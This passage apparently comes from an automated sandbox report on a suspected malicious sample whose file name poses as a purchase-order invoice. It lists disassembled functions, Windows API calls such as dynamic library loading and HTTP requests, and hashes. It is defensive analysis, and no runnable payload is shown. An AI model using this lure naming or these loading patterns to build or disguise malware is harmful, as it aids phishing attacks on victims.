                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                            • String ID:
                                                                                            • API String ID: 3705125965-3916222277
                                                                                            • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                            • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                            • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                            • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                            Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                            • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Long
                                                                                            • String ID: SysTreeView32
                                                                                            • API String ID: 847901565-1698111956
                                                                                            • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                            • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                            • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                            • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                            Function 00437CA6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                            • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                            • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Library$AddressFreeLoadProc
                                                                                            • String ID: AU3_GetPluginDetails
                                                                                            • API String ID: 145871493-4132174516
                                                                                            • Opcode ID: 4d29db7c409dc1d8665f13fcd2a771d904d38d92e5d57695c8085be3ce6f429e
                                                                                            • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                            • Opcode Fuzzy Hash: 4d29db7c409dc1d8665f13fcd2a771d904d38d92e5d57695c8085be3ce6f429e
                                                                                            • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                            Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DestroyWindow
                                                                                            • String ID: msctls_updown32
                                                                                            • API String ID: 3375834691-2298589950
                                                                                            • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                            • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                            • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                            • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                            Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                            • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                            • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$MoveWindow
                                                                                            • String ID: Listbox
                                                                                            • API String ID: 3315199576-2633736733
                                                                                            • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                            • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                            • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                            • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                            Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                            • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                            • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorMode$InformationVolume
                                                                                            • String ID: HH
                                                                                            • API String ID: 2507767853-2761332787
                                                                                            • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                            • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                            • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                            • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                            Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                            • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                            • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorMode$InformationVolume
                                                                                            • String ID: HH
                                                                                            • API String ID: 2507767853-2761332787
                                                                                            • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                            • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                            • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                            • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                            Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                            • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                            • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend
                                                                                            • String ID: msctls_trackbar32
                                                                                            • API String ID: 3850602802-1010561917
                                                                                            • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                            • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                            • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                            • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                            Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                            • gethostbyname.WSOCK32(?), ref: 0046BD78
                                                                                            • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                            • inet_ntoa.WSOCK32(00000000), ref: 0046BDCD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                            • String ID: HH
                                                                                            • API String ID: 1515696956-2761332787
                                                                                            • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                            • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                            • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                            • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                            Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                            • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                            • DrawMenuBar.USER32 ref: 00449828
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$InfoItem$Draw_malloc
                                                                                            • String ID: 0
                                                                                            • API String ID: 772068139-4108050209
                                                                                            • Opcode ID: 80c8cc45c3a2388c5d5a2fad2fa293faafe293b1266d5f5cdbd09ec66a21ca10
                                                                                            • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                            • Opcode Fuzzy Hash: 80c8cc45c3a2388c5d5a2fad2fa293faafe293b1266d5f5cdbd09ec66a21ca10
                                                                                            • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                            Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AllocTask_wcslen
                                                                                            • String ID: hkG
                                                                                            • API String ID: 2651040394-3610518997
                                                                                            • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                            • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                            • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                            • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                            Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                            • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                            • API String ID: 2574300362-1816364905
                                                                                            • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                            • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                            • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                            • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                            Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,00000000,?,?,00000101,?,?), ref: 004343DE
                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: ICMP.DLL$IcmpSendEcho
                                                                                            • API String ID: 2574300362-58917771
                                                                                            • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                            • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                            • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                            • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                            Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                            • API String ID: 2574300362-3530519716
                                                                                            • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                            • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                            • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                            • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                            Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: ICMP.DLL$IcmpCreateFile
                                                                                            • API String ID: 2574300362-275556492
                                                                                            • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                            • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                            • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                            • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                            Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                            • API String ID: 2574300362-3024904723
                                                                                            • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
